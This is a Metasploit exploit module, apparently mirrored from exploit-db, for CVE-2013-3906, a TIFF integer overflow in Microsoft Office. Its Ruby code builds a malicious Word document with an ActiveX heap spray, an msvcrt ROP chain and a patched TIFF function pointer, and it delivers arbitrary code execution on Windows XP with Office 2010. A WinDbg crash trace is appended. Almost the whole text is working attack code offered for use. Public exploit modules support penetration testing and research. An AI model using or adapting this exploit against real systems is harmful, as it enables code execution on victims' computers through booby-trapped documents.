Microsoft – Tagged Image File Format ‘.TIFF’ Integer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2013-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30011/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'rex/zip'
    require 'nokogiri'
    
    module ::Nokogiri
    module XML
    class Builder
    #
    # Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
    # So here's our hack to get around that by adding a new custom method to the Builder class
    #
    def custom_root(ns)
    e = @parent.create_element(ns)
    e.add_namespace_definition(ns, "href")
    @ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
    return self
    end
    end
    end
    end
    
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::RopDb
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Microsoft Tagged Image File Format (TIFF) Integer Overflow",
    'Description'=> %q{
    This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
    It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
    users running Microsoft Office, specifically in the Middle East and South Asia region.
    
    The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
    drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
    and stored in the EAX register. The 32-bit register will run out of storage space to
    represent the large vlaue, which ends up being 0, but it still gets pushed as a
    dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
    chunk anyway with size 0, and the address of this chunk is used as the destination buffer
    of a memcpy function, where the source buffer is the EXIF data (an extended image format
    supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
    by HeapAlloc will end up being overwritten by the memcpy function, and then later used
    in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
    memory layout using ActiveX, it is possible to gain arbitrary code execution under the
    context of the user.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Unknown', # Some dude wrote it and deployed in the wild, but Haifei Li spotted it
    'sinn3r' # Metasploit
    ],
    'References' =>
    [
    [ 'CVE', '2013-3906' ],
    [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
    [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
    ],
    'Payload'=>
    {
    'PrependEncoder' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
    "\x83\xC0\x08" + # add eax, byte 8
    "\x8b\x20" + # mov esp, [eax]
    "\x81\xC4\x30\xF8\xFF\xFF",# add esp, -2000
    'BadChars' => "\x00"
    },
    'DefaultOptions'=>
    {
    'ExitFunction' => "process",
    'PrependMigrate' => true
    },
    'Platform' => 'win',
    'Targets'=>
    [
    # XP SP3 + Office 2010 Standard (14.0.6023.1000 32-bit)
    ['Windows XP SP3 with Office Starndard 2010', {}],
    ],
    'Privileged' => false,
    'DisclosureDate' => "Nov 5 2013", # Microsoft announcement
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
    ], self.class)
    end
    
    #
    # Creates a TIFF that triggers the overflow
    #
    def make_tiff
    # TIFF Header:
    # TIFF ID = 'II' (Intel order)
    # TIFF Version= 42d
    # Offset of FID = 0x000049c8h
    #
    # Image Directory:
    # Number of entries = 17d
    # Entry[0]NewSubFileType= 0
    # Entry[1]ImageWidth= 256d
    # Entry[2]ImageHeight = 338d
    # Entry[3]BitsPerSample = 8 8 8
    # Entry[4]Compression = JPEG (6)
    # Entry[5]Photometric Interpretation= RGP
    # Entry[6]StripOffsets= 68 entries (349 bytes)
    # Entry[7]SamplesPerPixel = 3
    # Entry[8]RowsPerStrip= 5
    # Entry[9]StripByteCounts = 68 entries (278 bytes)
    # Entry[10] XResolution = 96d
    # Entry[11] YResolution = 96d
    # Entry[12] Planar Configuration= Clunky
    # Entry[13] Resolution Unit = Inch
    # Entry[14] Predictor = None
    # Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
    # Entry[16] JPEGInterchangeFormat = 13636d
    
    # Notes:
    # These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
    # - JPEGInterchangeFormatLength
    # - DWORD at offset 3324h (0xffffb898), no documentation for this
    # - DWORDS after offset 3328h, no documentation for these, either.
    # The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
    # The trigger is really a TIF file, but is named as a JPEG in the docx package
    
    buf = ''
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
    ::File.open(path, "rb") do |f|
    buf = f.read
    end
    
    # Gain control of the call [eax+50h] instruction
    # XCHG EAX, ESP; RETN msvcrt
    buf[0x4874, 4] = [0x200F0700-0x50].pack('V')
    
    buf
    end
    
    
    #
    # Generates a payload
    #
    def get_rop_payload
    p = ''
    p << [0x77c15ed5].pack('V') # XCHG EAX, ESPmsvcrt
    p << generate_rop_payload('msvcrt','',{'target'=>'xp'})
    p << payload.encoded
    block= p
    block << rand_text_alpha(1024 - 80 - p.length)
    block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt
    block << rand_text_alpha(1024 - block.length)
    
    buf = ''
    while (buf.length < 0x80000)
    buf << block
    end
    
    buf
    end
    
    
    #
    # Creates an ActiveX bin that will be used as a spray in Office
    #
    def make_activex_bin
    #
    # How an ActiveX bin is referred:
    # document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
    # Every bin is a Microsoft Compound Document File:
    # http://www.openoffice.org/sc/compdocfileformat.pdf
    
    # The bin file
    mscd= ''
    mscd << [0xe011cfd0].pack('V')# File identifier (first 4 byte)
    mscd << [0xe11ab1a1].pack('V')# File identifier (second 4 byte)
    mscd << [0x00000000].pack('V') * 4# Unique Identifier
    mscd << [0x003e].pack('v')# Revision number
    mscd << [0x0003].pack('v')# Version number
    mscd << [0xfffe].pack('v')# Byte order: Little-Endian
    mscd << [0x0009].pack('v')# Sector size
    mscd << [0x0006].pack('v')# Size of a short-sector
    mscd << "\x00" * 10 # Not used
    mscd << [0x00000001].pack('V')# Total number of sectors
    mscd << [0x00000001].pack('V')# SecID for the first sector
    mscd << [0x00000000].pack('V')# Not used
    mscd << [0x00001000].pack('V')# Minimum size of a standard stream
    mscd << [0x00000002].pack('V')# Sec ID of first sector
    mscd << [0x00000001].pack('V')# Total number of sectors for the short-sector table
    mscd << [0xfffffffe].pack('V')# SecID of first sector of the mastser sector table
    mscd << [0x00000000].pack('V')# Total number of sectors for master sector talbe
    mscd << [0x00000000].pack('V')# SecIDs
    mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
    mscd[0x200, 4]= [0xfffffffd].pack('V')
    mscd[0x204, 12] = [0xfffffffe].pack('V') * 3
    mscd << Rex::Text.to_unicode("Root Entry")
    mscd << [0x00000000].pack('V') * 11
    mscd << [0x0016].pack('v')# Valid range of the previous char array
    mscd << "\x05"# Type of entry (Root Storage Entry)
    mscd << "\x00"# Node colour of the entry (red)
    mscd << [0xffffffff].pack('V')# DirID of the left child node
    mscd << [0xffffffff].pack('V')# DirID of the right child node
    mscd << [0x00000001].pack('V')# DirID of the root node entry
    mscd << [0x1efb6596].pack('V')
    mscd << [0x11d1857c].pack('V')
    mscd << [0xc0006ab1].pack('V')
    mscd << [0x283628f0].pack('V')
    mscd << [0x00000000].pack('V') * 3
    mscd << [0x287e3070].pack('V')
    mscd << [0x01ce2654].pack('V')
    mscd << [0x00000003].pack('V')
    mscd << [0x00000100].pack('V')
    mscd << [0x00000000].pack('V')
    mscd << Rex::Text.to_unicode("Contents")
    mscd << [0x00000000].pack('V') * 12
    mscd << [0x01020012].pack('V')
    mscd << [0xffffffff].pack('V') * 3
    mscd << [0x00000000].pack('V') * 10
    mscd << [0x000000e4].pack('V')
    mscd << [0x00000000].pack('V') * 18
    mscd << [0xffffffff].pack('V') * 3
    mscd << [0x00000000].pack('V') * 29
    mscd << [0xffffffff].pack('V') * 3
    mscd << [0x00000000].pack('V') * 12
    mscd << [0x00000001].pack('V')
    mscd << [0x00000002].pack('V')
    mscd << [0x00000003].pack('V')
    mscd << [0xfffffffe].pack('V')
    mscd << [0xffffffff].pack('V') * 32 #52
    mscd << [0x77c34fbf].pack('V') # POP ESP # RETN
    mscd << [0x200f0704].pack('V') # Final payload target address to begin the ROP
    mscd << [0xffffffff].pack('V') * 18
    mscd << @rop_payload
    
    mscd
    end
    
    
    #
    # Creates an activeX[num].xml file
    # @param rid [String] The relationship ID (example: rId1)
    # @return [String] XML document
    #
    def make_activex_xml(rid)
    attrs = {
    'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
    'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
    'ax:persistence' => "persistStorage",
    'r:id' => "rId#{rid.to_s}",
    'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
    'xmlns:r'=> @schema
    }
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.custom_root("ax")
    xml.ocx(attrs)
    end
    
    builder.to_xml(:indent => 0)
    end
    
    
    #
    # Creates an activeX[num].xml.rels
    # @param relationships [Array] A collection of hashes with each containing:
    #:id, :type, :target
    # @return [String] XML document
    #
    def make_activex_xml_reals(rid, target_bin)
    acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
    xml.Relationship({:Id=>"rId#{rid.to_s}", :Type=>acx_type, :Target=>target_bin})
    end
    end
    
    builder.to_xml(:indent => 0)
    end
    
    #
    # Creates a document.xml.reals file
    # @param relationships [Array] A collection of hashes with each containing:
    #:id, :type, and :target
    # @return [String] XML document
    #
    def make_doc_xml_reals(relationships)
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
    relationships.each do |r|
    xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:target]})
    end
    end
    end
    
    builder.to_xml(:indent => 0)
    end
    
    
    #
    # Creates a _rels/.rels file
    #
    def init_rels(doc_xml, doc_props)
    rels = []
    rels << doc_xml
    rels << doc_props
    rels = rels.flatten
    
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
    rels.each do |r|
    xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:fname].gsub(/^\//, '')})
    end
    end
    end
    
    {
    :fname => "_rels/.rels",
    :data=> builder.to_xml(:indent => 0)
    }
    end
    
    
    #
    # Creates a run element for chart
    # @param xml [Element]
    # @param rid [String]
    #
    def create_chart_run_element(xml, rid)
    drawingml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
    
    xml.r do
    xml.rPr do
    xml.noProof
    xml.lang({'w:val' => "en-US"})
    end
    
    xml.drawing do
    xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
    xml['wp'].extent({'cx'=>'1', 'cy'=>'1'})
    xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
    xml['wp'].docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
    xml['wp'].cNvGraphicFramePr
    
    xml['a'].graphic do
    xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
    xml['c'].chart({'r:id'=>"rId#{rid.to_s}"})
    end
    end
    end
    end
    end
    end
    
    
    #
    # Creates a run element for ax
    # @param xml [Element]
    # @param rid [String]
    #
    def create_ax_run_element(xml, rid)
    shape_attrs = {
    'id'=> "_x0000_i10#{rid.to_s}",
    'type'=> "#_x0000_t75",
    'style' => "width:1pt;height:1pt",
    'o:ole' => ""
    }
    
    control_attrs = {
    'r:id'=> "rId#{rid.to_s}",
    'w:name'=> "TabStrip#{rid.to_s}",
    'w:shapeid' =>"_x0000_i10#{rid.to_s}"
    }
    
    xml.r do
    xml.object({'w:dxaOrig'=>"1440", 'w:dyaOrig'=>"1440"}) do
    xml['v'].shape(shape_attrs)
    xml['w'].control(control_attrs)
    end
    end
    end
    
    
    #
    # Creates a pic run element
    # @param xml [Element]
    # @param rid [String]
    #
    def create_pic_run_element(xml, rid)
    drawinxml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
    
    xml.r do
    xml.rPr do
    xml.noProof
    xml.lang({'w:val'=>"en-US"})
    end
    
    xml.drawing do
    xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
    xml.extent({'cx'=>'1', 'cy'=>'1'})
    xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"0", 'b'=>"0"})
    xml['wp'].docPr({'id'=>rid.to_s, 'name'=>"image", 'descr'=>"image.jpeg"})
    xml['wp'].cNvGraphicFramePr do
    xml['a'].graphicFrameLocks({'xmlns:a'=>"#{drawinxml_schema}/main", 'noChangeAspect'=>"1"})
    end
    
    xml['a'].graphic({'xmlns:a'=>"#{drawinxml_schema}/main"}) do
    xml['a'].graphicData({'uri'=>"#{drawinxml_schema}/picture"}) do
    xml['pic'].pic({'xmlns:pic'=>"#{drawinxml_schema}/picture"}) do
    xml['pic'].nvPicPr do
    xml['pic'].cNvPr({'id'=>rid.to_s, 'name'=>"image.jpeg"})
    xml['pic'].cNvPicPr
    end
    
    xml['pic'].blipFill do
    xml['a'].blip('r:embed'=>"rId#{rid.to_s}", 'cstate'=>"print")
    xml['a'].stretch do
    xml['a'].fillRect
    end
    end
    
    xml['pic'].spPr do
    xml['a'].xfrm do
    xml['a'].off({'x'=>"0", 'y'=>"0"})
    xml['a'].ext({'cx'=>"1", 'cy'=>"1"})
    end
    
    xml['a'].prstGeom({'prst' => "rect"}) do
    xml['a'].avLst
    end
    end
    end
    end
    end
    end
    end
    end
    end
    
    
    #
    # Creates a document.xml file
    # @param pre_defs [Array]
    # @param activex [Array]
    # @param tiff_file [Array]
    # @return [String] XML document
    #
    def init_doc_xml(last_rid, pre_defs, activex, tiff_file)
    # Get all the required pre-defs
    chart_rids = []
    pre_defs.select { |e| chart_rids << e[:id] if e[:fname] =~ /\/word\/charts\//}
    
    # Get all the ActiveX RIDs
    ax_rids = []
    activex.select { |e| ax_rids << e[:id] }
    
    # Get the TIFF RID
    tiff_rid = tiff_file[:id]
    
    # Documentation on how this is crafted:
    # http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
    doc_attrs = {
    'xmlns:ve'=> "http://schemas.openxmlformats.org/markup-compatibility/2006",
    'xmlns:o' => "urn:schemas-microsoft-com:office:office",
    'xmlns:r' => @schema,
    'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
    'xmlns:v' => "urn:schemas-microsoft-com:vml",
    'xmlns:wp'=> "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
    'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
    'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
    'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
    'xmlns:a' => "http://schemas.openxmlformats.org/drawingml/2006/main",
    'xmlns:c' => "http://schemas.openxmlformats.org/drawingml/2006/chart"
    }
    
    p_attrs_1 = {'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
    p_attrs_2 = {'w:rsidR' => "00D15BD0", 'w:rsidRPr' =>"00D15BD0", 'w:rsidRDefault' => "00D15BD0" }
    
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.custom_root("w")
    
    xml.document(doc_attrs) do
    xml.body do
    # Paragraph (ActiveX)
    xml.p(p_attrs_1) do
    # Paragraph properties
    xml.pPr do
    # Run properties
    xml.rPr do
    xml.lang({'w:val' => "en-US"})
    end
    end
    
    ax_rids.each do |rid|
    create_ax_run_element(xml, rid)
    end
    end
    
    xml.p(p_attrs_2) do
    xml.pPr do
    xml.rPr do
    xml['w'].lang({'w:val'=>"en-US"})
    end
    end
    
    # Charts
    chart_rids.each do |rid|
    create_chart_run_element(xml, rid)
    end
    
    # TIFF
    create_pic_run_element(xml, tiff_rid)
    end
    end
    end
    end
    
    {
    :id => (last_rid + 1).to_s,
    :type => "#{@schema}/officeDocument",
    :fname=> "/word/document.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
    :xml=> builder.to_xml(:indent => 0)
    }
    end
    
    #
    # Creates a [Content.Types].xml file located in the parent directory
    # @param overrides [Array] A collection of hashes with each containing
    #the :PartName and :ContentType info
    # @return [String] XML document
    #
    def make_contenttype_xml(overrides)
    contenttypes = [
    {
    :Extension => "rels",
    :ContentType => "application/vnd.openxmlformats-package.relationships+xml"
    },
    {
    :Extension => "xml",
    :ContentType => "application/xml"
    },
    {
    :Extension => "jpeg",
    :ContentType => "image/jpeg"
    },
    {
    :Extension => "bin",
    :ContentType => "application/vnd.ms-office.activeX"
    },
    {
    :Extension=> "xlsx",
    :ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
    }
    ]
    
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Types({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
    # Default extensions
    contenttypes.each do |contenttype|
    xml.Default(contenttype)
    end
    
    # Additional overrides
    overrides.each do |override|
    override_attrs = {
    :PartName=> override[:PartName] || override[:fname],
    :ContentType => override[:ContentType]
    }
    xml.Override(override_attrs)
    end
    end
    end
    
    builder.to_xml(:indent => 0)
    end
    
    
    #
    # Pre-define some items that will be used in .rels
    #
    def init_doc_props(last_rid)
    items = []
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/extended-properties",
    :fname=> "/docProps/app.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.extended-properties+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties",
    :fname=> "/docProps/core.xml",
    :content_type => "application/vnd.openxmlformats-package.core-properties+xml"
    }
    
    return last_rid, items
    end
    
    
    #
    # Pre-define some items that will be used in document.xml.rels
    #
    def init_doc_xml_rels_items(last_rid)
    items = []
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/styles",
    :fname=> "/word/styles.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/settings",
    :fname=> "/word/settings.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/webSettings",
    :fname=> "/word/webSettings.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/fontTable",
    :fname=> "/word/fontTable.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/theme",
    :fname=> "/word/theme/theme1.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.theme+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/chart",
    :fname=> "/word/charts/chart1.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/chart",
    :fname=> "/word/charts/chart2.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/chart",
    :fname=> "/word/charts/chart3.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/chart",
    :fname=> "/word/charts/chart4.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/chart",
    :fname=> "/word/charts/chart5.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }
    
    items << {
    :id => (last_rid += 1),
    :type => "#{@schema}/chart",
    :fname=> "/word/charts/chart6.xml",
    :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }
    
    return last_rid, items
    end
    
    
    #
    # Manually create everything manually in the ActiveX directory
    #
    def init_activex_files(last_rid)
    activex = []
    
    0x250.times do |i|
    id = (last_rid += 1)
    
    bin= {
    :fname => "/word/activeX/activeX#{id.to_s}.bin",
    :bin => make_activex_bin
    }
    
    xml= {
    :fname => "/word/activeX/activeX#{id.to_s}.xml",
    :xml => make_activex_xml(id)
    }
    
    rels = {
    :fname => "/word/activeX/_rels/activeX#{id.to_s}.xml.rels",
    :rels => make_activex_xml_reals(id, "activeX#{id.to_s}.bin")
    }
    
    ct = "application/vnd.ms-office.activeX+xml"
    type = "#{@schema}/control"
    
    activex << {
    :id => id,
    :bin=> bin,
    :xml=> xml,
    :rels => rels,
    :content_type => ct,
    :type => type
    }
    end
    
    return last_rid, activex
    end
    
    
    #
    # Create a [Content_Types.xml], each node contains these attributes:
    # :PartName The path to an ActiveX XML file
    # :ContentTypeThe contenttype of the XML file
    #
    def init_contenttype_xml_file(*items)
    overrides = []
    items.each do |item|
    item.each do |obj|
    overrides << {:PartName => obj[:fname] || obj[:xml][:fname], :ContentType => obj[:content_type]}
    end
    end
    
    {:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
    end
    
    
    #
    # Creates the tiff file
    #
    def init_tiff_file(last_rid)
    id = last_rid + 1
    tiff_data = {
    :id => id,
    :fname => "/word/media/image1.jpeg",
    :data=> make_tiff,
    :type=> "#{@schema}/image"
    }
    
    return id, tiff_data
    end
    
    #
    # Create the document.xml.rels file
    #
    def init_doc_xml_reals_file(pre_defs, activex, tiff)
    reals = []
    pre_defs.each do |obj|
    reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '')}
    end
    
    activex.each do |obj|
    reals << {:id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '')}
    end
    
    reals << {:id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '')}
    
    {:fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
    end
    
    #
    # Loads a fiile
    #
    def read_file(fname)
    buf = ''
    ::File.open(fname, "rb") do |f|
    buf << f.read
    end
    
    buf
    end
    
    
    #
    # Packages everything to docx
    #
    def make_docx(path)
    print_status("Initializing files...")
    last_rid = 0
    last_rid, doc_xml_rels_items = init_doc_xml_rels_items(last_rid)
    last_rid, activex= init_activex_files(last_rid)
    last_rid, doc_props= init_doc_props(last_rid)
    last_rid, tiff_file= init_tiff_file(last_rid)
    doc_xml= init_doc_xml(last_rid, doc_xml_rels_items, activex, tiff_file)
    ct_xml_file= init_contenttype_xml_file(activex, doc_xml_rels_items, doc_props, [doc_xml])
    doc_xml_reals_file = init_doc_xml_reals_file(doc_xml_rels_items, activex, tiff_file)
    rels_xml = init_rels(doc_xml, doc_props)
    
    zip = Rex::Zip::Archive.new
    Dir["#{path}/**/**"].each do |file|
    p = file.sub(path+'/','')
    
    if File.directory?(file)
    print_status("Packing directory: #{p}")
    zip.add_file(p)
    else
    # Avoid packing image1.jpeg because we'll load it separately
    if file !~ /media\/image1\.jpeg/
    print_status("Packing file: #{p}")
    zip.add_file(p, read_file(file))
    end
    end
    end
    
    print_status("Packing ActiveX controls...")
    activex.each do |ax|
    ax_bin= ax[:bin]
    ax_xml= ax[:xml]
    ax_rels = ax[:rels]
    
    vprint_status("Packing file: #{ax_bin[:fname]}")
    zip.add_file(ax_bin[:fname], ax_bin[:bin])
    
    vprint_status("Packing file: #{ax_xml[:fname]}")
    zip.add_file(ax_xml[:fname], ax_xml[:xml])
    
    vprint_status("Packing file: #{ax_rels[:fname]}")
    zip.add_file(ax_rels[:fname], ax_rels[:rels])
    end
    
    print_status("Packing file: #{ct_xml_file[:fname]}")
    zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])
    
    print_status("Packing file: #{tiff_file[:fname]}")
    zip.add_file(tiff_file[:fname], tiff_file[:data])
    
    print_status("Packing file: #{doc_xml[:fname]}")
    zip.add_file(doc_xml[:fname], doc_xml[:xml])
    
    print_status("Packing file: #{rels_xml[:fname]}")
    zip.add_file(rels_xml[:fname], rels_xml[:data])
    
    print_status("Packing file: #{doc_xml_reals_file[:fname]}")
    zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])
    
    zip.pack
    end
    
    def exploit
    @rop_payload = get_rop_payload
    @schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
    docx = make_docx(path)
    file_create(docx)
    end
    
    end
    
    =begin
    
    0:000> r
    eax=414242f4 ebx=00000000 ecx=22a962a0 edx=44191398 esi=22c4d338 edi=1cfe5dc0
    eip=44023a2a esp=0011fd8c ebp=0011fd98 iopl=0 nv up ei ng nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010286
    OGL!GdipCreatePath+0x58:
    44023a2a ff5050calldword ptr [eax+50h]ds:0023:41424344=????????
    0:000> k
    ChildEBP RetAddr
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0011fd98 437a9681 OGL!GdipCreatePath+0x58
    0011fdc8 437b11b0 gfx+0x9681
    0011fdf0 422b56e5 gfx+0x111b0
    0011fe18 422a99f7 oart!Ordinal3584+0x86
    0011fed8 422a9921 oart!Ordinal7649+0x2b2
    0011fef0 422a8676 oart!Ordinal7649+0x1dc
    001200bc 422a85a8 oart!Ordinal4145+0x199
    001200fc 424898c6 oart!Ordinal4145+0xcb
    001201bc 42489b56 oart!Ordinal3146+0xb15
    001202cc 422a37df oart!Ordinal3146+0xda5
    00120330 422a2a73 oart!Ordinal2862+0x14e
    00120360 317821a9 oart!Ordinal2458+0x5e
    001203bc 31782110 wwlib!GetAllocCounters+0x9bd51
    001204a4 3177d1f2 wwlib!GetAllocCounters+0x9bcb8
    001207ec 3177caef wwlib!GetAllocCounters+0x96d9a
    0012088c 3177c7a0 wwlib!GetAllocCounters+0x96697
    001209b0 3175ab83 wwlib!GetAllocCounters+0x96348
    001209d4 317569e0 wwlib!GetAllocCounters+0x7472b
    00120ad4 317540f5 wwlib!GetAllocCounters+0x70588
    00120afc 3175400b wwlib!GetAllocCounters+0x6dc9d
    
    To-do:
    Turn the docx packaging into a mixin. Good luck with that. 
    
    =end